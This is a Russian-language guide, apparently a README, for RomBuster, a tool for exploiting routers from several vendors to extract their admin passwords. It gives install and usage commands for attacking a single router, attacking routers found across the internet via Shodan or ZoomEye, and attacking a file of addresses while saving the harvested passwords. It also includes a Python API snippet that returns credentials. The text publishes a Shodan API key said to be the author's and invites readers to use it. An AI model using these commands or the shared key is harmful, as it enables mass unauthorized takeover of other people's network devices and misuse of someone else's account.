
RomBuster — это инструмент для эксплуатации маршрутизаторов, который позволяет раскрыть пароль администратора сетевого маршрутизатора.
RomBuster — это инструмент для эксплуатации маршрутизаторов, который позволяет раскрыть пароль администратора сетевого роутера.
D-Link, Zyxel, TP-Link, Cisco и Huawei.pip3 install git+https://github.com/EntySec/RomBuster
Чтобы использовать RomBuster, просто введите rombuster в терминале.
usage: rombuster [-h] [-o OUTPUT] [-i INPUT] [-a ADDRESS] [--shodan SHODAN]
[--zoomeye ZOOMEYE] [-p PAGES]
RomBuster is a router exploitation tool that allows to disclosure network
router admin password.
optional arguments:
-h, --help show this help message and exit
-o OUTPUT, --output OUTPUT
Output result to file.
-i INPUT, --input INPUT
Input file of addresses.
-a ADDRESS, --address ADDRESS
Single address.
--shodan SHODAN Shodan API key for exploiting devices over Internet.
--zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet.
-p PAGES, --pages PAGES
Number of pages you want to get from ZoomEye.
Эксплуатация одного маршрутизатора
Давайте взломаем мой роутер просто ради развлечения.
rombuster -a 192.168.99.1
Эксплуатация маршрутизаторов из интернета
Попробуем использовать поисковую систему Shodan для эксплуатации маршрутизаторов через интернет.
rombuster --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD
ПРИМЕЧАНИЕ: Данный API-ключ Shodan (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) — мой PRO-ключ. Вы можете использовать этот ключ или свой собственный, не стесняйтесь пользоваться всеми нашими ресурсами бесплатно :)
Эксплуатация маршрутизаторов из входного файла
Попробуем использовать открытую базу маршрутизаторов.
rombuster -i routers.txt -o passwords.txt
ПРИМЕЧАНИЕ: Будут эксплуатированы все маршрутизаторы из списка routers.txt по их адресам, а все полученные пароли сохранены в passwords.txt.
RomBuster также имеет собственный Python API, который можно вызвать, импортировав RomBuster в свой код.
from rombuster import RomBuster
Здесь перечислены все базовые функции RomBuster, которые можно использовать для эксплуатации указанного маршрутизатора.
exploit(address) — эксплуатирует один маршрутизатор по заданному адресу.Эксплуатация одного маршрутизатора
from rombuster import RomBuster
rombuster = RomBuster()
creds = rombuster.exploit('192.168.99.1')
print(creds)